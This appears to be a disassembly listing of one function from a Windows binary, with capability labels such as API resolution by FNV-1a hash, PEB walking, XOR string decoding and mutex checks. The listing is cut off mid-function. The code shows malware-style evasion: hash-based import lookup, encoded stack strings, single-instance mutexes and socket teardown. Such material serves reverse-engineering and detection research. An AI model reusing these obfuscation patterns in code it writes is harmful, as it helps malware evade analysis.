Function at 0x47bd40
Capabilities:
Access peb ldr_data
Check mutex on windows
Check os version
Create directory
Create thread
Delete file
Encode data using xor
Get common file path
Get number of processors
Hash data using fnv
Print debug messages
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xcbc
push ebx
push esi
push edi
push 0
mov dword [esp + 0x3c], 0
call fcn.00509089
add eax, dword [0x55ab3c]
add esp, 4
mov dword [esp + 0x14], edx
push eax
call fcn.00500d3e
add esp, 4
push 0x100
push 0
push 0x55ce50
call fcn.004fd0d0
mov esi, dword [0x55ab3c]
add esp, 0xc
mov ecx, 0x55ab2c
call fcn.00402b50
push esi
push eax
push 0x55ce50
call fcn.004fcb50
mov esi, dword [0x55ab6c]
add esp, 0xc
mov ecx, 0x55ab5c
call fcn.00402b50
push esi
push eax
push 0x55ceb4
call fcn.004fcb50
add esp, 0xc
mov ecx, 0x55ab2c
call fcn.00402b50
mov edi, eax
lea eax, [edi + 1]
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x47bdd5
mov ecx, 0x55ab2c
sub edi, eax
call fcn.00402b50
push dword [esp + 0x10]
lea ecx, [esp + 0x42c]
mov esi, eax
call fcn.00402b60
push edi
push esi
lea ecx, [esp + 0x430]
call fcn.00402b80
lea eax, [esp + 0x428]
mov ecx, 0x55ab2c
push eax
call fcn.00482e90
lea ecx, [esp + 0x428]
call fcn.00402a10
push method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_12
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0047bb80
test al, al
jne 0x47be48
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push 0
call fcn.00509089
add esp, 4
push eax
call fcn.00500d3e
xorps xmm0, xmm0
mov dword [esp + 0x9a], 0xeffcfaf3
add esp, 4
movq qword [esp + 0x9a], xmm0
mov word [esp + 0xa2], 0
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x96], al
inc ecx
cmp ecx, 4
jb 0x47be80
lea eax, [esp + 0x96]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x9e], 0
call fcn.00402ab0
lea ecx, [esp + 0x60]
call fcn.00402b50
push 0
push eax
mov ecx, 0x55ab74
call fcn.00482af0
lea ecx, [esp + 0x60]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x47c04a
call fcn.00419ec0
test al, al
je 0x47bf92
mov eax, dword fs:[0x30]
mov dword [esp + 0x328], esi
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x58], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x30], edx
lea ecx, [edx + esi]
mov dword [esp + 0x3c], ecx
cmp ecx, esi
je 0x47bf69
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47bf69
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47bf62
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bf45
cmp esi, 0xe80fd3a
je 0x47bf6d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bf30
mov eax, dword [eax]
jmp 0x47bf00
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x58]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x328]
jmp 0x47c03f
call fcn.0041a180
test al, al
jne 0x47c04a
mov eax, dword fs:[0x30]
mov dword [esp + 0x32c], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x30], edx
lea ecx, [edx + esi]
mov dword [esp + 0x58], ecx
cmp ecx, esi
je 0x47c01b
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47c01b
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47c014
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47bff7
cmp esi, 0xe80fd3a
je 0x47c01f
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47bfe2
mov eax, dword [eax]
jmp 0x47bfb6
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x32c]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
xorps xmm0, xmm0
mov dword [esp + 0x1cf], 0xeffcfaf3
movq qword [esp + 0x1d3], xmm0
xor ecx, ecx
mov word [esp + 0x1db], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x1cf], al
inc ecx
cmp ecx, 4
jb 0x47c070
lea eax, [esp + 0x1cf]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x914]
mov byte [esp + 0x1d7], 0
call fcn.00402ab0
lea ecx, [esp + 0x910]
call fcn.00402b50
push 0
push eax
mov ecx, 0x55ab14
call fcn.00482af0
lea ecx, [esp + 0x910]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x47c1a9
call fcn.0041a1c0
mov bl, al
call fcn.0041a2e0
mov bh, al
call fcn.0041a810
test bl, bl
jne 0x47c0fe
test bh, bh
jne 0x47c0fe
test al, al
jne 0x47c0fe
call fcn.00419f00
test al, al
je 0x47c1a9
mov eax, dword fs:[0x30]
mov dword [esp + 0xa8], 0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x3c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x30], edx
lea ecx, [edx + esi]
mov dword [esp + 0x58], ecx
cmp ecx, esi
je 0x47c17a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47c17a
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47c173
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47c156
cmp esi, 0xe80fd3a
je 0x47c17e
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47c141
mov eax, dword [eax]
jmp 0x47c115
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x3c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xa8]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
xorps xmm0, xmm0
mov dword [esp + 0x1dd], 0xeffcfaf3
movq qword [esp + 0x1e1], xmm0
xor ecx, ecx
mov word [esp + 0x1e9], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x1dd], al
inc ecx
cmp ecx, 4
jb 0x47c1d0
lea eax, [esp + 0x1dd]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x92c]
mov byte [esp + 0x1e5], 0
call fcn.00402ab0
lea ecx, [esp + 0x928]
call fcn.00402b50
push 0
push eax
mov ecx, 0x55ac34
call fcn.00482af0
lea ecx, [esp + 0x928]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x47c236
lea ecx, [esi + 1]
call fcn.0041ac60
xorps xmm0, xmm0
mov dword [esp + 0x1c1], 0xeffcfaf3
movq qword [esp + 0x1c5], xmm0
xor ecx, ecx
mov word [esp + 0x1cd], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x1c1], al
inc ecx
cmp ecx, 4
jb 0x47c260
lea eax, [esp + 0x1c1]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x944]
mov byte [esp + 0x1c9], 0
call fcn.00402ab0
lea ecx, [esp + 0x940]
call fcn.00402b50
push 0
push eax
mov ecx, 0x55ac1c
call fcn.00482af0
lea ecx, [esp + 0x940]
mov esi, eax
call fcn.00402a10
test esi, esi
jne 0x47c2c3
call fcn.0041f380
xorps xmm0, xmm0
mov dword [esp + 0x1f9], 0xeffcfaf3
movq qword [esp + 0x1fd], xmm0
xor ecx, ecx
mov word [esp + 0x205], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x1f9], al
inc ecx
cmp ecx, 4
jb 0x47c2f0
lea eax, [esp + 0x1f9]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x95c]
mov byte [esp + 0x201], 0
call fcn.00402ab0
lea ecx, [esp + 0x958]
call fcn.00402b50
push 0
push eax
mov ecx, 0x55abbc
call fcn.00482af0
test eax, eax
lea ecx, [esp + 0x958]
sete byte [esp + 0x23]
call fcn.00402a10
movaps xmm0, xmmword [0x548460]
xor ecx, ecx
mov dword [esp + 0x330], 0xe2e7e1f0
mov byte [esp + 0x334], 0xff
movups xmmword [esp + 0x335], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x330], al
inc ecx
cmp ecx, 0xb
jb 0x47c373
lea eax, [esp + 0x330]
mov dword [0x55d530], ecx
push eax
lea ecx, [esp + 0x974]
mov byte [esp + 0x33f], 0
call fcn.00402ab0
lea ecx, [esp + 0x970]
call fcn.00402b50
mov ecx, dword fs:[0x30]
mov dword [esp + 0x30], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x3c], esi
mov eax, dword [esi + 0x3c]
mov edx, dword [eax + esi + 0x78]
mov dword [esp + 0x58], edx
lea eax, [edx + esi]
mov dword [esp + 0x58], eax
cmp eax, esi
je 0x47c429
mov edi, dword [eax + 0x18]
test edi, edi
je 0x47c429
mov eax, dword [eax + 0x20]
lea ebx, [eax + edi*4]
add ebx, esi
nop
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov al, byte [edx]
inc edx
test al, al
je 0x47c422
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x47c405
cmp esi, 0x53b2070f
je 0x47c42d
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x47c3f0
mov ecx, dword [ecx]
jmp 0x47c3c3
mov eax, dword [esp + 0x58]
mov edx, dword [esp + 0x3c]
push dword [esp + 0x30]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
lea ecx, [esp + 0x970]
mov esi, eax
call fcn.00402a10
test esi, esi
je 0x47fd11
movaps xmm0, xmmword [0x5472e0]
xor ecx, ecx
mov dword [esp + 0x35a], 0xc3c7c1d0
mov byte [esp + 0x35e], 0xc5
movups xmmword [esp + 0x35f], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x35a], al
inc ecx
cmp ecx, 0xb
jb 0x47c490
lea eax, [esp + 0x35a]
mov dword [0x55d530], ecx
push eax
lea ecx, [esp + 0x9b4]
mov byte [esp + 0x369], 0
call fcn.00402ab0
lea ecx, [esp + 0x9b0]
call fcn.00402b50
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
call fcn.0049e590
lea ecx, [esp + 0x9b0]
call fcn.00402a10
xorps xmm0, xmm0
mov byte [esp + 0x2c1], 0xbd
movq qword [esp + 0x2c2], xmm0
xor ecx, ecx
mov word [esp + 0x2ca], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x2c1], al
inc ecx
cmp ecx, 1
jb 0x47c510
lea eax, [esp + 0x2c1]
mov dword [0x55d620], ecx
push eax
lea ecx, [esp + 0x5ac]
mov byte [esp + 0x2c6], 0
call fcn.00402ab0
push 0
lea ecx, [esp + 0x5ac]
call fcn.00402b50
push eax
mov ecx, 0x55ab5c
call fcn.00482af0
lea ecx, [esp + 0x5a8]
mov esi, eax
call fcn.00402a10
cmp esi, 0xffffffff
je 0x47c658
xorps xmm0, xmm0
mov byte [esp + 0x2cc], 0xbd
movq qword [esp + 0x2cd], xmm0
xor ecx, ecx
mov word [esp + 0x2d5], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x2cc], al
inc ecx
cmp ecx, 1
jb 0x47c593
lea eax, [esp + 0x2cc]
mov dword [0x55d620], ecx
push eax
lea ecx, [esp + 0x5c4]
mov byte [esp + 0x2d1], 0
call fcn.00402ab0
sub esp, 0x18
lea ecx, [esp + 0x5d8]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
sub esp, 0x18
mov ecx, esp
push 0x55ab5c
call fcn.00483010
lea ecx, [esp + 0x3c8]
call fcn.0040e070
add esp, 0x30
lea ecx, [esp + 0x5c0]
call fcn.00402a10
lea ecx, [esp + 0x398]
call fcn.00481ca0
cmp eax, 2
jne 0x47c64c
push 1
lea ecx, [esp + 0x39c]
call fcn.00481c80
push eax
mov ecx, 0x55d068
call fcn.00482e60
push 0
lea ecx, [esp + 0x39c]
call fcn.00481c80
push eax
mov ecx, 0x55ab5c
call fcn.00482e60
lea ecx, [esp + 0x398]
call fcn.00481d90
push 0
push 0
push 0
push 0x425970
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x55aabc], 0xffffffff
jne 0x47c729
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x58], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x30], edx
lea ecx, [esi + edx]
mov dword [esp + 0x30], ecx
cmp ecx, esi
je 0x47c6f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47c6f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47c6f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47c6d5
cmp esi, 0x2fa62ca8
je 0x47c6fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47c6c0
mov eax, dword [eax]
jmp 0x47c690
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0x58]
push 1
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
cmp dword [0x55aabc], 0xffffffff
je 0x47c681
mov ecx, 0x104
lea eax, [esp + 0xbc0]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x47c735
lea eax, [esp + 0xbc0]
push eax
push 0xfc
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov edx, 0xd
lea ecx, [esp + 0x590]
call fcn.0040e3d0
xorps xmm0, xmm0
mov dword [esp + 0x10], 0xcbebe7ed
mov byte [esp + 0x14], 0xb8
xor ecx, ecx
movq qword [esp + 0x15], xmm0
mov word [esp + 0x1d], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 5
jb 0x47c783
lea eax, [esp + 0x10]
mov dword [0x55d544], ecx
push eax
lea ecx, [esp + 0x5dc]
mov byte [esp + 0x19], 0
call fcn.00402ab0
lea eax, [esp + 0x590]
push eax
lea ecx, [esp + 0x5dc]
call fcn.00402b50
push eax
lea ecx, [esp + 0xa60]
call fcn.00402ab0
push eax
lea edx, [esp + 0xbc8]
lea ecx, [esp + 0xa48]
call fcn.00486e40
add esp, 4
lea ecx, [esp + 0xabc]
mov edx, eax
call fcn.00486f40
add esp, 4
mov ecx, 0x55aafc
push eax
call fcn.00482e90
lea ecx, [esp + 0xab8]
call fcn.00402a10
lea ecx, [esp + 0xa40]
call fcn.00402a10
lea ecx, [esp + 0xa58]
call fcn.00402a10
lea ecx, [esp + 0x5d8]
call fcn.00402a10
xorps xmm0, xmm0
mov dword [esp + 0xff], 0xcbebe7ed
mov byte [esp + 0x103], 0xbf
xor ecx, ecx
movq qword [esp + 0x104], xmm0
mov word [esp + 0x10c], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0xff], al
inc ecx
cmp ecx, 5
jb 0x47c860
lea eax, [esp + 0xff]
mov dword [0x55d544], ecx
push eax
lea ecx, [esp + 0x5f4]
mov byte [esp + 0x108], 0
call fcn.00402ab0
lea eax, [esp + 0x590]
push eax
lea ecx, [esp + 0x5f4]
call fcn.00402b50
push eax
lea ecx, [esp + 0xa90]
call fcn.00402ab0
push eax
lea edx, [esp + 0xbc8]
lea ecx, [esp + 0xa78]
call fcn.00486e40
add esp, 4
lea ecx, [esp + 0x414]
mov edx, eax
call fcn.00486f40
add esp, 4
lea ecx, [esp + 0xa70]
call fcn.00402a10
lea ecx, [esp + 0xa88]
call fcn.00402a10
lea ecx, [esp + 0x5f0]
call fcn.00402a10
mov ecx, 0x55aafc
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x47c926
push 0
mov dl, 1
mov ecx, 0x55aafc
call fcn.0040dc90
add esp, 4
lea ecx, [esp + 0x410]
call fcn.00402b50
mov ecx, eax
call fcn.0040dbd0
test al, al
je 0x47c950
push 0
mov dl, 1
lea ecx, [esp + 0x414]
call fcn.0040dc90
add esp, 4
push 0
mov ecx, 0x55aafc
call fcn.00402b50
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
test eax, eax
jne 0x47c981
mov ecx, 0x55aafc
call fcn.0041c570
test al, al
je 0x47fb1a
push 0
lea ecx, [esp + 0x414]
call fcn.00402b50
push eax
call esi
test eax, eax
jne 0x47c9a2
lea ecx, [esp + 0x410]
call fcn.0041c570
lea ecx, [esp + 0x410]
call fcn.00402b50
mov dword [esp + 0xc], eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0xa8], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x30], ecx
cmp ecx, esi
je 0x47ca34
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47ca34
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47ca2d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47ca10
cmp esi, 0x7a5b9fa2
je 0x47ca38
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47c9f7
mov eax, dword [eax]
jmp 0x47c9c0
mov eax, dword [esp + 0x30]
mov edx, dword [esp + 0xa8]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xc]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
lea eax, [esp + 0x410]
mov ecx, 0x55ab8c
push eax
call fcn.00482e60
call fcn.0041ca60
test al, al
je 0x47ccca
cmp byte [esp + 0x23], 0
jne 0x47ccca
movaps xmm0, xmmword [0x547ba0]
xor ecx, ecx
mov word [esp + 0x13b], 0xf8f4
movups xmmword [esp + 0x13d], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x13b], al
inc ecx
cmp ecx, 8
jb 0x47cab0
lea eax, [esp + 0x13b]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x147], 0
call fcn.00402ab0
push 0x55ab2c
lea ecx, [esp + 0x64]
call fcn.00402b50
mov edx, eax
lea ecx, [esp + 0x53c]
call fcn.00486de0
add esp, 4
mov ecx, eax
call fcn.00402b50
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
lea ecx, [esp + 0x538]
call fcn.00402a10
lea ecx, [esp + 0x60]
call fcn.00402a10
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x47fcf9
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7530
call edi
movaps xmm0, xmmword [0x547560]
xor ecx, ecx
mov word [esp + 0x14d], 0xdecf
movups xmmword [esp + 0x14f], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x14d], al
inc ecx
cmp ecx, 8
jb 0x47cb60
lea eax, [esp + 0x14d]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0xc8]
mov byte [esp + 0x159], 0
call fcn.00402ab0
sub esp, 0x18
lea ecx, [esp + 0xdc]
mov esi, esp
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00402ab0
call fcn.00425e30
add esp, 0x18
lea ecx, [esp + 0xc4]
call fcn.00402a10
mov ecx, 0x55d104
call fcn.00481ca0
test eax, eax
je 0x47cbe2
nop
push 0x65
call edi
mov ecx, 0x55d104
call fcn.00481ca0
test eax, eax
jne 0x47cbd0
push 2
push dword [0x55aabc]
mov byte [0x55ce21], 1
call dword [sym.imp.WS2_32.dll_shutdown]
push dword [0x55aabc]
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
nop dword [eax]
mov eax, dword fs:[0x30]
mov dword [esp + 0xa4], 0x3f5
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov edx, dword [eax + 0x18]
mov dword [esp + 0x30], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [esp + 0xc], ecx
cmp ecx, edx
je 0x47cc94
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47cc94
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, edx
mov ecx, dword [ebx - 4]
lea ebx, [ebx - 4]
add ecx, edx
dec edi
mov esi, 0x811c9dc5
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x47cc8d
nop dword [eax]
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x47cc70
cmp esi, 0x2fa62ca8
je 0x47cc98
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x47cc57
mov eax, dword [eax]
jmp 0x47cc30
mov esi, dword [esp + 0xc]
mov edx, dword [esp + 0x30]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov esi, dword [eax + edx]
lea ecx, [esp + 0xa4]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
jmp 0x47cc10
xorps xmm0, xmm0
mov byte [0x55ce4b], 0
mov byte [esp + 0x24], 0xfb
xor ecx, ecx
movq qword [esp + 0x25], xmm0
mov word [esp + 0x2d], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x24], al
inc ecx
cmp ecx, 1
jb 0x47cce8
lea eax, [esp + 0x24]
mov dword [0x55d620], ecx
push eax
lea ecx, [esp + 0x60c]
mov byte [esp + 0x29], 0
call fcn.00402ab0
lea ecx, [esp + 0x608]
call fcn.00402b50
lea ecx, [esp + 0x508]
mov ebx, eax
call fcn.0040f010
push 0
push 0x43347f4e
mov edi, eax
call fcn.004080b0
sub esp, 0x10
mov dword [esp + 0x24], eax
mov eax, dword [0x55aabc]
lea ecx, [esp + 0xab8]
mov esi, esp
mov dword [esp + 0x48], eax
mov edx, edi
push 0x55ab2c
push ebx
call fcn.00486d80
add esp, 4
mov edx, eax
mov ecx, esi
call fcn.00486f40
mov edx, dword [esp + 0x28]
add esp, 4
mov ecx, dword [esp + 0x48]
call fcn.00424c50
add esp, 0x18
lea ecx, [esp + 0xaa0]
mov esi, eax
call fcn.00402a10
lea ecx, [esp + 0x508]
call fcn.00402a10
lea ecx, [esp + 0x608]
call fcn.00402a10
test esi, esi
jle 0x47ce7d
cmp byte [0x55ce4b], 0
jne 0x47ce7d
nop word [eax + eax]
mov eax, dword fs:[0x30]
mov dword [esp + 0x24], 0x64
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x30], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0xc], ecx
cmp ecx, esi
je 0x47ce44
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47ce44
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
sub ebx, 4
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47ce3d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47ce20
cmp esi, 0x2fa62ca8
je 0x47ce48
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47ce08
mov eax, dword [eax]
jmp 0x47cdd4
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x30]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0x24]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
cmp byte [0x55ce4b], 0
je 0x47cdc0
mov edx, 0x55aae4
lea ecx, [esp + 0x560]
call fcn.00422020
lea eax, [esp + 0x560]
push eax
lea ecx, [esp + 0x4ac]
call fcn.00483010
cmp dword [0x55aaf4], 0
jne 0x47cf3a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x4b8], 0
jne 0x47cf3a
mov edx, 0x55aae4
lea ecx, [esp + 0x508]
call fcn.00422020
mov esi, eax
lea ecx, [esp + 0x560]
push esi
call fcn.00482e90
lea eax, [esi + 0x18]
push eax
lea ecx, [esp + 0x57c]
call fcn.00482e90
lea ecx, [esp + 0x520]
call fcn.00402a10
lea ecx, [esp + 0x508]
call fcn.00402a10
lea eax, [esp + 0x560]
push eax
lea ecx, [esp + 0x4ac]
call fcn.00482e60
push 0
push 0x43346bcf
call fcn.004080b0
add esp, 8
push eax
call edi
cmp dword [0x55aaf4], 0
je 0x47ceb5
mov ecx, 0x55aae4
call fcn.00402b50
push 0x542a18
push eax
call fcn.004fc740
add esp, 8
test eax, eax
je 0x47cfea
mov esi, dword [esp + 0x10]
mov edi, dword [esp + 0x10]
push esi
lea ecx, [esp + 0x64]
call fcn.00402b60
push 1
push 0x542838
lea ecx, [esp + 0x68]
call fcn.00402b80
push edi
lea ecx, [esp + 0xc8]
call fcn.00402b60
push 1
push 0x542a18
lea ecx, [esp + 0xcc]
call fcn.00402b80
lea eax, [esp + 0x60]
mov ecx, 0x55aae4
push eax
lea edx, [esp + 0xc8]
call fcn.0040e370
add esp, 4
lea ecx, [esp + 0xc4]
call fcn.00402a10
lea ecx, [esp + 0x60]
call fcn.00402a10
mov ecx, 0x55aae4
call fcn.00402b50
push 0x542a18
push eax
call fcn.004fc740
add esp, 8
test eax, eax
jne 0x47cf62
xorps xmm0, xmm0
mov word [esp + 0x23d], 0xddd5
movq qword [esp + 0x23f], xmm0
xor ecx, ecx
mov word [esp + 0x247], 0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x23d], al
inc ecx
cmp ecx, 2
jb 0x47d010
lea eax, [esp + 0x23d]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0x6fc]
mov byte [esp + 0x243], 0
